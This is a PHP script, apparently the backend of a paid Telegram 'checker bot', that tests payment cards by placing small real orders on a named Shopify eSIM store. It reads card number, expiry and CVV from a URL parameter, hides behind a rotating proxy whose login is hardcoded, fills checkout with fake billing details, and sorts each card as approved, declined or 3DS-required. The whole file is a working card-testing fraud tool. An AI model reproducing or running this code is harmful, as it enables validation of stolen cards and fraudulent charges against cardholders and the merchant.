<?php
error_reporting(0);
ini_set('display_errors', 0);

$start_time = microtime(true);

// Database connection
$host = 'localhost';
$dbname = 'checkerbotdb3';
$username = 'root';
$password = '';

function getCurrentLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("SELECT shopifylimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatid]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if ($result) {
            return (int)$result['shopifylimit'];
        }
        return 0;
    } catch(PDOException $e) {
        return 0;
    }
}

function decrementLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("UPDATE users SET shopifylimit = shopifylimit - 1 WHERE chatid = :chatid AND shopifylimit > 0");
        $stmt->execute(['chatid' => $chatid]);
        
        return true;
    } catch(PDOException $e) {
        return false;
    }
}

// Parse input: ?kart=CARD|MM|YY|CVV&chatid=CHATID
$kart_input = $_GET['kart'] ?? '';
$chatid = $_GET['chatid'] ?? '';

if (empty($kart_input) || empty($chatid)) {
    die("❌ Missing parameters");
}

$kart_parts = explode('|', $kart_input);
if (count($kart_parts) != 4) {
    die("❌ Invalid card format");
}

// Check limit
$currentLimit = getCurrentLimit($chatid);
if ($currentLimit < 1) {
    die("❌ Insufficient limits (Available: {$currentLimit})");
}

// Deduct limit IMMEDIATELY
decrementLimit($chatid);

$card_number = $kart_parts[0];
$exp_month = $kart_parts[1];
$exp_year = $kart_parts[2];
$cvv = $kart_parts[3];

// Format card for display
$card_display = $card_number . '|' . $exp_month . '|' . $exp_year . '|' . $cvv;

// Create cookie jar file for automatic cookie management
$cookie_file = tempnam(sys_get_temp_dir(), 'shopify3_cookies_');

// Proxy configuration
$proxy = 'rp.scrapegw.com:6060';
$proxy_auth = 'ccb7t99f1xa6q6v:e88zmabjie6wuek';

// Step 0: Visit homepage first to establish session
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_auth);
curl_setopt($ch, CURLOPT_URL, "https://earthesim.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language: en-US,en;q=0.9"
]);

$response0 = curl_exec($ch);
$http_code0 = curl_getinfo($ch, CURLINFO_HTTP_CODE);












// Extract cookies from homepage response
$cookies = [];
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response0, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}


foreach ($cookies as $name => $value) {
    
}

if ($http_code0 != 200) {
    die("❌ Homepage request failed\n");
}

// Step 1: Visit product page to collect more cookies
curl_setopt($ch, CURLOPT_URL, "https://earthesim.com/products/australia-esim?variant=42902783295581");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
    "Accept-Language: en-US,en;q=0.9",
    "Referer: https://earthesim.com/"
]);

$response1 = curl_exec($ch);
$http_code1 = curl_getinfo($ch, CURLINFO_HTTP_CODE);













// Extract cookies from product page response
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response1, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}


foreach ($cookies as $name => $value) {
    
}

if ($http_code1 != 200) {
    die("❌ Product page request failed\n");
}

// Step 2: Add to cart
$boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(8));
$post_data = "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"Best Australia eSim Plans\"\r\n\r\nAustralia 500MB 1 Day eSim\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"quantity\"\r\n\r\n1\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"form_type\"\r\n\r\nproduct\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"utf8\"\r\n\r\n✓\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"id\"\r\n\r\n42902783295581\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"product-id\"\r\n\r\n7464702607453\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"section-id\"\r\n\r\ntemplate--17324883378269__main\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"sections\"\r\n\r\ncart-notification-product,cart-notification-button,cart-icon-bubble\r\n";
$post_data .= "--$boundary\r\n";
$post_data .= "Content-Disposition: form-data; name=\"sections_url\"\r\n\r\n/products/australia-esim\r\n";
$post_data .= "--$boundary--\r\n";

// Build cookie string
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

curl_setopt($ch, CURLOPT_URL, "https://earthesim.com/cart/add");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: application/javascript",
    "Content-Type: multipart/form-data; boundary=$boundary",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://earthesim.com",
    "Referer: https://earthesim.com/products/australia-esim?variant=42902783295581",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Sec-Ch-Ua: \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Sec-Fetch-Site: same-origin",
    "Sec-Fetch-Mode: cors",
    "Sec-Fetch-Dest: empty",
    "Cookie: $cookie_string"
]);

$response2 = curl_exec($ch);
$http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);


















$response2_body = substr($response2, curl_getinfo($ch, CURLINFO_HEADER_SIZE));


// Extract more cookies from cart add
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response2, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}


foreach ($cookies as $name => $value) {
    
}

if ($http_code2 != 200) {
    die("❌ Cart add request failed\n");
}

// Step 3: Navigate to checkout
// Rebuild cookie string with updated cookies
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

curl_setopt($ch, CURLOPT_URL, "https://earthesim.com/cart");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "checkout=");
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Content-Type: application/x-www-form-urlencoded",
    "Origin: https://earthesim.com",
    "Referer: https://earthesim.com/products/australia-esim?variant=42902783295581",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Cache-Control: max-age=0",
    "Sec-Ch-Ua: \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Upgrade-Insecure-Requests: 1",
    "Sec-Fetch-Site: same-origin",
    "Sec-Fetch-Mode: navigate",
    "Sec-Fetch-User: ?1",
    "Sec-Fetch-Dest: document",
    "Cookie: $cookie_string"
]);

$response3 = curl_exec($ch);
$http_code3 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$final_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
















// Extract and display response headers
$header_size3 = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$response_headers = substr($response3, 0, $header_size3);
$checkout_page = substr($response3, $header_size3);


$header_lines = explode("\r\n", $response_headers);
foreach ($header_lines as $header_line) {
    if (!empty(trim($header_line)) && strpos($header_line, 'HTTP/') !== 0) {
        
    }
}

// Extract checkout token from URL
$checkout_token = '';
if (preg_match('/\/checkouts\/cn\/([^\/\?]+)/', $final_url, $matches)) {
    $checkout_token = $matches[1];
    
} elseif (preg_match('/\/checkouts\/([^\/\?]+)/', $final_url, $matches)) {
    $checkout_token = $matches[1];
    
}

// Extract more cookies from checkout redirect
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response3, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}


foreach ($cookies as $name => $value) {
    
}




if (empty($checkout_token)) {
    die("❌ Failed to extract checkout token\n");
}

// Extract session token from checkout page HTML or Location header
$session_token = '';

// First try: Extract from checkout page HTML content
if (preg_match('/"sessionToken":"([^"]+)"/', $checkout_page, $token_match)) {
    $session_token = $token_match[1];
    
}
// Second try: From response headers Location URL (JWT decode)
elseif (preg_match('/token=([^&]+)/', $response_headers, $token_match)) {
    $jwt_parts = explode('.', $token_match[1]);
    if (count($jwt_parts) >= 2) {
        $payload = json_decode(base64_decode(strtr($jwt_parts[1], '-_', '+/')), true);
        if (isset($payload['session_token'])) {
            $session_token = $payload['session_token'];
            
        }
    }
}

if (empty($session_token)) {
    die("❌ Failed to extract session token\n");
}

// Step 4: Send Proposal GraphQL to get payment method identifier
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

// Step 4: Proposal GraphQL - Get payment method identifier
// Using simplified query with empty negotiate input
$graphql_query = json_encode([
    "variables" => [
        "sessionToken" => $session_token
    ],
    "operationName" => "Proposal",
    "query" => "query Proposal(\$sessionToken:String!){session(sessionInput:{sessionToken:\$sessionToken}){negotiate(input:{}){result{...on NegotiationResultAvailable{sellerProposal{payment{...on FilledPaymentTerms{availablePaymentLines{paymentMethod{...on PaymentProvider{paymentMethodIdentifier name __typename}}}}}}}}}}}"
]);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_auth);
curl_setopt($ch, CURLOPT_URL, "https://earthesim.com/checkouts/unstable/graphql?operationName=Proposal");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $graphql_query);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Host: earthesim.com",
    "Content-Type: application/json",
    "Accept: application/json",
    "Origin: https://earthesim.com",
    "Referer: https://earthesim.com/checkouts/cn/$checkout_token/en-us",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept-Language: en-US,en;q=0.9",
    "X-Checkout-One-Session-Token: $session_token",
    "Shopify-Checkout-Source: id=\"$checkout_token\", type=\"cn\"",
    "Cookie: $cookie_string",
    "Sec-Ch-Ua: \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Sec-Fetch-Site: same-origin",
    "Sec-Fetch-Mode: cors",
    "Sec-Fetch-Dest: empty"
]);

$response4 = curl_exec($ch);
$http_code4 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
















$header_size4 = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$response4_headers = substr($response4, 0, $header_size4);
$response4_body = substr($response4, $header_size4);


$header_lines = explode("\r\n", $response4_headers);
foreach ($header_lines as $header_line) {
    if (!empty(trim($header_line)) && strpos($header_line, 'HTTP/') !== 0) {
        
    }
}




// Extract payment method identifier from response
$payment_method_id = '';
$graphql_data = json_decode($response4_body, true);

// Debug: Print full response structure



// Navigate the correct structure: session -> negotiate -> result -> sellerProposal -> payment -> availablePaymentLines
if (isset($graphql_data['data']['session']['negotiate']['result']['sellerProposal']['payment']['availablePaymentLines'])) {
    $payment_lines = $graphql_data['data']['session']['negotiate']['result']['sellerProposal']['payment']['availablePaymentLines'];
    foreach ($payment_lines as $payment_line) {
        if (isset($payment_line['paymentMethod']['name']) && $payment_line['paymentMethod']['name'] === 'shopify_payments') {
            $payment_method_id = $payment_line['paymentMethod']['paymentMethodIdentifier'];
            
            break;
        }
    }
}

if (empty($payment_method_id)) {
    die("❌ Failed to extract payment method identifier\n");
}

// Step 5: Create card session with PCI endpoint
$card_session_payload = json_encode([
    "credit_card" => [
        "number" => $card_number,
        "month" => (int)$exp_month,
        "year" => (int)("20" . $exp_year),
        "verification_value" => $cvv,
        "start_month" => null,
        "start_year" => null,
        "issue_number" => "",
        "name" => "Test User"
    ],
    "payment_session_scope" => "earthesim.com"
]);

curl_setopt($ch, CURLOPT_URL, "https://checkout.pci.shopifyinc.com/sessions");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $card_session_payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Host: checkout.pci.shopifyinc.com",
    "Content-Type: application/json",
    "Accept: application/json",
    "Origin: https://checkout.pci.shopifyinc.com",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Sec-Ch-Ua: \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Sec-Fetch-Site: same-origin",
    "Sec-Fetch-Mode: cors",
    "Sec-Fetch-Dest: empty"
]);

$response5 = curl_exec($ch);
$http_code5 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
















$header_size5 = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$response5_body = substr($response5, $header_size5);


// Extract card session ID
$card_session_data = json_decode($response5_body, true);
$card_session_id = '';
if (isset($card_session_data['id'])) {
    $card_session_id = $card_session_data['id'];
    
} else {
    die("❌ Failed to create card session\n");
}

// Step 6: Submit for completion
$attempt_token = $checkout_token . '-' . bin2hex(random_bytes(4));

$submit_payload = [
    "variables" => [
        "input" => [
            "sessionInput" => [
                "sessionToken" => $session_token
            ],
            "queueToken" => "",
            "discounts" => [
                "lines" => [],
                "acceptUnexpectedDiscounts" => true
            ],
            "delivery" => [
                "deliveryLines" => [[
                    "selectedDeliveryStrategy" => [
                        "deliveryStrategyMatchingConditions" => [
                            "estimatedTimeInTransit" => ["any" => true],
                            "shipments" => ["any" => true]
                        ],
                        "options" => new stdClass()
                    ],
                    "targetMerchandiseLines" => [
                        "lines" => [["stableId" => "7a4aa854-fe87-44c6-907f-669b13b4de74"]]
                    ],
                    "deliveryMethodTypes" => ["NONE"],
                    "expectedTotalPrice" => ["any" => true],
                    "destinationChanged" => true
                ]],
                "noDeliveryRequired" => [],
                "useProgressiveRates" => false,
                "prefetchShippingRatesStrategy" => null,
                "supportsSplitShipping" => true
            ],
            "deliveryExpectations" => [
                "deliveryExpectationLines" => []
            ],
            "merchandise" => [
                "merchandiseLines" => [[
                    "stableId" => "7a4aa854-fe87-44c6-907f-669b13b4de74",
                    "merchandise" => [
                        "productVariantReference" => [
                            "id" => "gid://shopify/ProductVariantMerchandise/42902783295581",
                            "variantId" => "gid://shopify/ProductVariant/42902783295581",
                            "properties" => [],
                            "sellingPlanId" => null,
                            "sellingPlanDigest" => null
                        ]
                    ],
                    "quantity" => ["items" => ["value" => 1]],
                    "expectedTotalPrice" => ["value" => ["amount" => "1.49", "currencyCode" => "USD"]],
                    "lineComponentsSource" => null,
                    "lineComponents" => []
                ]]
            ],
            "memberships" => ["memberships" => []],
            "payment" => [
                "totalAmount" => ["any" => true],
                "paymentLines" => [[
                    "paymentMethod" => [
                        "directPaymentMethod" => [
                            "paymentMethodIdentifier" => $payment_method_id,
                            "sessionId" => $card_session_id,
                            "billingAddress" => [
                                "streetAddress" => [
                                    "address1" => "Test Address 123",
                                    "city" => "Istanbul",
                                    "countryCode" => "TR",
                                    "firstName" => "Test",
                                    "lastName" => "User",
                                    "phone" => "5551234567"
                                ]
                            ],
                            "cardSource" => null
                        ],
                        "giftCardPaymentMethod" => null,
                        "redeemablePaymentMethod" => null,
                        "walletPaymentMethod" => null,
                        "walletsPlatformPaymentMethod" => null,
                        "localPaymentMethod" => null,
                        "paymentOnDeliveryMethod" => null,
                        "paymentOnDeliveryMethod2" => null,
                        "manualPaymentMethod" => null,
                        "customPaymentMethod" => null,
                        "offsitePaymentMethod" => null,
                        "customOnsitePaymentMethod" => null,
                        "deferredPaymentMethod" => null,
                        "customerCreditCardPaymentMethod" => null,
                        "paypalBillingAgreementPaymentMethod" => null,
                        "remotePaymentInstrument" => null
                    ],
                    "amount" => ["value" => ["amount" => "1.49", "currencyCode" => "USD"]]
                ]],
                "billingAddress" => [
                    "streetAddress" => [
                        "address1" => "Test Address 123",
                        "city" => "Istanbul",
                        "countryCode" => "TR",
                        "firstName" => "Test",
                        "lastName" => "User",
                        "phone" => "5551234567"
                    ]
                ]
            ],
            "buyerIdentity" => [
                "customer" => [
                    "presentmentCurrency" => "USD",
                    "countryCode" => "TR"
                ],
                "email" => "test@example.com",
                "emailChanged" => false,
                "phoneCountryCode" => "TR",
                "marketingConsent" => [[
                    "email" => ["value" => "test@example.com"]
                ]],
                "shopPayOptInPhone" => [
                    "number" => "5551234567",
                    "countryCode" => "TR"
                ],
                "rememberMe" => false
            ],
            "tip" => ["tipLines" => []],
            "taxes" => [
                "proposedAllocations" => null,
                "proposedTotalAmount" => ["value" => ["amount" => "0", "currencyCode" => "USD"]],
                "proposedTotalIncludedAmount" => null,
                "proposedMixedStateTotalAmount" => null,
                "proposedExemptions" => []
            ],
            "note" => [
                "message" => null,
                "customAttributes" => []
            ],
            "localizationExtension" => ["fields" => []],
            "nonNegotiableTerms" => null,
            "scriptFingerprint" => [
                "signature" => null,
                "signatureUuid" => null,
                "lineItemScriptChanges" => [],
                "paymentScriptChanges" => [],
                "shippingScriptChanges" => []
            ],
            "optionalDuties" => ["buyerRefusesDuties" => false],
            "cartMetafields" => []
        ],
        "attemptToken" => $attempt_token,
        "metafields" => [],
        "analytics" => [
            "requestUrl" => "https://earthesim.com/checkouts/cn/$checkout_token/en-us",
            "pageId" => bin2hex(random_bytes(16))
        ]
    ],
    "operationName" => "SubmitForCompletion",
    "query" => "mutation SubmitForCompletion(\$input:NegotiationInput!,\$attemptToken:String!,\$metafields:[MetafieldInput!],\$analytics:AnalyticsInput){submitForCompletion(input:\$input attemptToken:\$attemptToken metafields:\$metafields analytics:\$analytics){...on SubmitSuccess{receipt{...on ProcessedReceipt{id __typename}...on ProcessingReceipt{id __typename}...on ActionRequiredReceipt{id __typename}...on FailedReceipt{id __typename}__typename}__typename}...on SubmitAlreadyAccepted{receipt{...on ProcessedReceipt{id __typename}__typename}__typename}...on SubmitFailed{reason __typename}...on SubmitRejected{errors{code __typename}__typename}...on Throttled{pollAfter __typename}...on SubmittedForCompletion{receipt{...on ProcessedReceipt{id __typename}...on ProcessingReceipt{id __typename}...on ActionRequiredReceipt{id __typename}__typename}__typename}__typename}}"
];

curl_setopt($ch, CURLOPT_URL, "https://earthesim.com/checkouts/unstable/graphql?operationName=SubmitForCompletion");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($submit_payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Host: earthesim.com",
    "Content-Type: application/json",
    "Accept: application/json",
    "Origin: https://earthesim.com",
    "Referer: https://earthesim.com/checkouts/cn/$checkout_token/en-us",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "X-Checkout-One-Session-Token: $session_token",
    "Shopify-Checkout-Source: id=\"$checkout_token\", type=\"cn\"",
    "Cookie: $cookie_string",
    "Sec-Ch-Ua: \"Chromium\";v=\"143\", \"Not A(Brand\";v=\"24\"",
    "Sec-Ch-Ua-Mobile: ?0",
    "Sec-Ch-Ua-Platform: \"Windows\"",
    "Sec-Fetch-Site: same-origin",
    "Sec-Fetch-Mode: cors",
    "Sec-Fetch-Dest: empty"
]);

$response6 = curl_exec($ch);
$http_code6 = curl_getinfo($ch, CURLINFO_HTTP_CODE);















$header_size6 = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$response6_body = substr($response6, $header_size6);



// Extract receipt ID
$submit_data = json_decode($response6_body, true);
$receipt_id = '';
$poll_delay = 500;
$receipt_typename = '';

// Check for SubmitSuccess or SubmittedForCompletion
if (isset($submit_data['data']['submitForCompletion']['receipt'])) {
    $receipt = $submit_data['data']['submitForCompletion']['receipt'];
    $receipt_typename = $receipt['__typename'] ?? '';
    
    // Extract ID if present (ProcessedReceipt, ActionRequiredReceipt, FailedReceipt, ProcessingReceipt)
    if (isset($receipt['id'])) {
        $receipt_id = $receipt['id'];
        
    } 
    // ProcessingReceipt may not have ID immediately - need to poll
    else {
        
        // We'll proceed to polling without ID
        $receipt_id = 'polling'; // Placeholder to continue
    }
}

if (empty($receipt_id)) {
    
    
    die("❌ Failed to submit payment\n");
}

// If ProcessingReceipt without ID, query transaction to get receipt ID
if ($receipt_id === 'polling' && $receipt_typename === 'ProcessingReceipt') {
    
    sleep(1); // Wait a moment
    
    $transaction_query = json_encode([
        "variables" => [
            "sessionToken" => $session_token
        ],
        "operationName" => "CheckoutQuery",
        "query" => "query CheckoutQuery(\$sessionToken:String!){session(sessionInput:{sessionToken:\$sessionToken}){transaction{...on Negotiation{result{...on NegotiationResultAvailable{receipt{...on ProcessedReceipt{id __typename}...on ProcessingReceipt{id __typename}...on FailedReceipt{id __typename}__typename}__typename}__typename}__typename}}}"
    ]);
    
    curl_setopt($ch, CURLOPT_URL, "https://earthesim.com/checkouts/unstable/graphql?operationName=CheckoutQuery");
    curl_setopt($ch, CURLOPT_POSTFIELDS, $transaction_query);
    $transaction_response = curl_exec($ch);
    $transaction_body = substr($transaction_response, curl_getinfo($ch, CURLINFO_HEADER_SIZE));
    $transaction_data = json_decode($transaction_body, true);
    
    if (isset($transaction_data['data']['session']['transaction']['result']['receipt']['id'])) {
        $receipt_id = $transaction_data['data']['session']['transaction']['result']['receipt']['id'];
        
    } else {
        // Still no ID, continue without it
        
    }
}

// Step 7: Poll for receipt (wait for payment processing)
sleep(ceil($poll_delay / 1000)); // Convert ms to seconds

$poll_payload = [
    "variables" => [
        "receiptId" => $receipt_id,
        "sessionToken" => $session_token
    ],
    "operationName" => "PollForReceipt",
    "query" => "query PollForReceipt(\$receiptId:ID!,\$sessionToken:String!){receipt(receiptId:\$receiptId,sessionInput:{sessionToken:\$sessionToken}){...on ProcessedReceipt{id paymentDetails{paymentCardBrand creditCardLastFourDigits __typename}__typename}...on ProcessingReceipt{id __typename}...on FailedReceipt{id processingError{...on PaymentFailed{code messageUntranslated hasOffsitePaymentMethod __typename}__typename}__typename}...on ActionRequiredReceipt{id action{__typename}__typename}__typename}}"
];

curl_setopt($ch, CURLOPT_URL, "https://earthesim.com/checkouts/unstable/graphql?operationName=PollForReceipt");
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($poll_payload));

$response7 = curl_exec($ch);
$http_code7 = curl_getinfo($ch, CURLINFO_HTTP_CODE);










$header_size7 = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$response7_body = substr($response7, $header_size7);


// Parse result and poll if still processing
$receipt_data = json_decode($response7_body, true);
$poll_attempts = 0;
$max_polls = 10;

// Poll loop for ProcessingReceipt
while ($poll_attempts < $max_polls && isset($receipt_data['data']['receipt']['__typename']) && $receipt_data['data']['receipt']['__typename'] === 'ProcessingReceipt') {
    $poll_attempts++;
    
    sleep(1); // Wait 1 second between polls
    
    curl_setopt($ch, CURLOPT_URL, "https://earthesim.com/checkouts/unstable/graphql?operationName=PollForReceipt");
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($poll_payload));
    
    $response7 = curl_exec($ch);
    $http_code7 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size7 = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $response7_body = substr($response7, $header_size7);
    $receipt_data = json_decode($response7_body, true);
    
    
}

$end_time = microtime(true);
$elapsed = round($end_time - $start_time, 2);
$remaining_limit = getCurrentLimit($chatid);



if (isset($receipt_data['data']['receipt']['__typename'])) {
    $receipt_type = $receipt_data['data']['receipt']['__typename'];
    
    if ($receipt_type === 'ProcessedReceipt') {
        // SUCCESS - Payment approved
        $brand = $receipt_data['data']['receipt']['paymentDetails']['paymentCardBrand'] ?? 'UNKNOWN';
        $last4 = $receipt_data['data']['receipt']['paymentDetails']['creditCardLastFourDigits'] ?? '****';
        
        
        
        
    } elseif ($receipt_type === 'FailedReceipt') {
        // DECLINED - Payment failed
        $error_code = $receipt_data['data']['receipt']['processingError']['code'] ?? 'UNKNOWN';
        $error_msg = $receipt_data['data']['receipt']['processingError']['messageUntranslated'] ?? '';
        $error_typename = $receipt_data['data']['receipt']['processingError']['__typename'] ?? '';
        
        
        if (!empty($error_typename) && $error_typename !== $error_code) {
            
        }
        if (!empty($error_msg)) {
            
        }
        
        
        
        
    } elseif ($receipt_type === 'ActionRequiredReceipt') {
        // 3DS REQUIRED
        
        
        
        
    } elseif ($receipt_type === 'ProcessingReceipt') {
        // Still processing after max polls
        
        
        
        
    } else {
        
        
        
    }
} else {
    
    
    
}

curl_close($ch);

// Cleanup cookie file
if (isset($cookie_file) && file_exists($cookie_file)) {
    @unlink($cookie_file);
}



